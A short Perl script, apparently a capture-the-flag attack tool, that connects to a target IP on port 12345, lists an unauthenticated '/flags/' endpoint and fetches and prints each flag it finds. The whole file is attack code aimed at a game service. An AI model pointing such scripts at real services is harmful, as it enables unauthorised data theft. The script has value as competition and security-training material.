#!/usr/bin/perl -w

use Socket;
use strict;

use constant REMOTE_PORT => 12345;

use constant READ_TIMEOUT => 2;

my $ip = shift or die "Need ip address to connect!\n";

my $iaddr = inet_aton($ip);
my $paddr = sockaddr_in(REMOTE_PORT, $iaddr);

my ($tmp, $rin, $msg);

socket(SOCKET, AF_INET, SOCK_STREAM, getprotobyname('tcp')) or die "Can't create tcp socket: $!\n";
connect(SOCKET, $paddr) or die "Can't connect to $ip:".REMOTE_PORT.": $!\n";

$msg = "GET /flags/ HTTP/1.0\n\n";
send(SOCKET, $msg, 0) or die "Can't send >>$msg<< to $ip:".REMOTE_PORT.": $!\n";

$|++;

my %flags;

while(<SOCKET>){
	for (split('\<br\>', $_)){
		/([_a-zA-Z0-9]{10,63})$/;
		if ($1 && !exists($flags{$1})){
			$flags{$1} = 1;
		}
	}
}

shutdown(SOCKET, 2);
close(SOCKET);


for (keys%flags){
	socket(SOCKET, AF_INET, SOCK_STREAM, getprotobyname('tcp')) or die "Can't create tcp socket: $!\n";
	connect(SOCKET, $paddr) or die "Can't connect to $ip:".REMOTE_PORT.": $!\n";
	$msg = "GET /flags/$_ HTTP/1.0\n\n";
	send(SOCKET, $msg, 0) or die "Can't send >>$msg<< to $ip:".REMOTE_PORT.": $!\n";
	$msg = '';
	while(<SOCKET>){
		/([_a-zA-Z0-9\+\-\/\\]{60,80})/;
		#print "\t$_\n";
		$msg = $1 if $1;
		last if $msg;
	}
	print "$msg\n" if $msg;
	shutdown(SOCKET, 2);
	close(SOCKET);
}
